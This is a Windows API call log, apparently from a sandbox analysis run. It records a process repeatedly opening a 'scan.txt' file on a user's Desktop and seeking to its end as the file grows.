[0167.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.400] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.401] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x724
[0167.401] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.402] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x732
[0167.402] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.403] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x740
[0167.403] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.404] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x74e
[0167.404] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.405] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x75c
[0167.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.405] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x76a
[0167.406] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.406] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x778
[0167.407] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.408] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x786
[0167.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.408] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x794
[0167.409] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.409] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x7a2
[0167.410] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.410] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x7b0
[0167.411] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.411] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x7be
[0167.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.415] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x7cc
[0167.416] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.416] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x7da
[0167.417] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.417] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x7e8
[0167.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.418] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x7f6
[0167.427] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.427] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x804
[0167.430] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.430] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x812
[0167.431] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.431] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x820
[0167.432] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.432] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x82e
[0167.433] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.433] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x83c
[0167.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.434] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x84a
[0167.435] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.435] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x858
[0167.436] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.436] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x866
[0167.437] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.437] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x874
[0167.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.438] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x882
[0167.439] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.439] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x890
[0167.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.440] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x89e
[0167.441] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.441] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x8ac
[0167.442] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.442] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x8ba
[0167.443] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.444] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x8c8
[0167.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.445] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x8d6
[0167.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.446] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x8e4
[0167.447] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.447] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x8f2
[0167.448] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.448] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x900
[0167.449] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.449] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x90e
[0167.450] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.450] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x91c
[0167.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.452] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x92a
[0167.452] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.453] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x938
[0167.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.454] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x946
[0167.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.455] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x954
[0167.455] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.455] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x962
[0167.457] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.457] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x970
[0167.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.459] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x97e
[0167.459] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.460] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x98c
[0167.460] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.460] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x99a
[0167.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.461] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x9a8
[0167.462] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.462] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x9b6
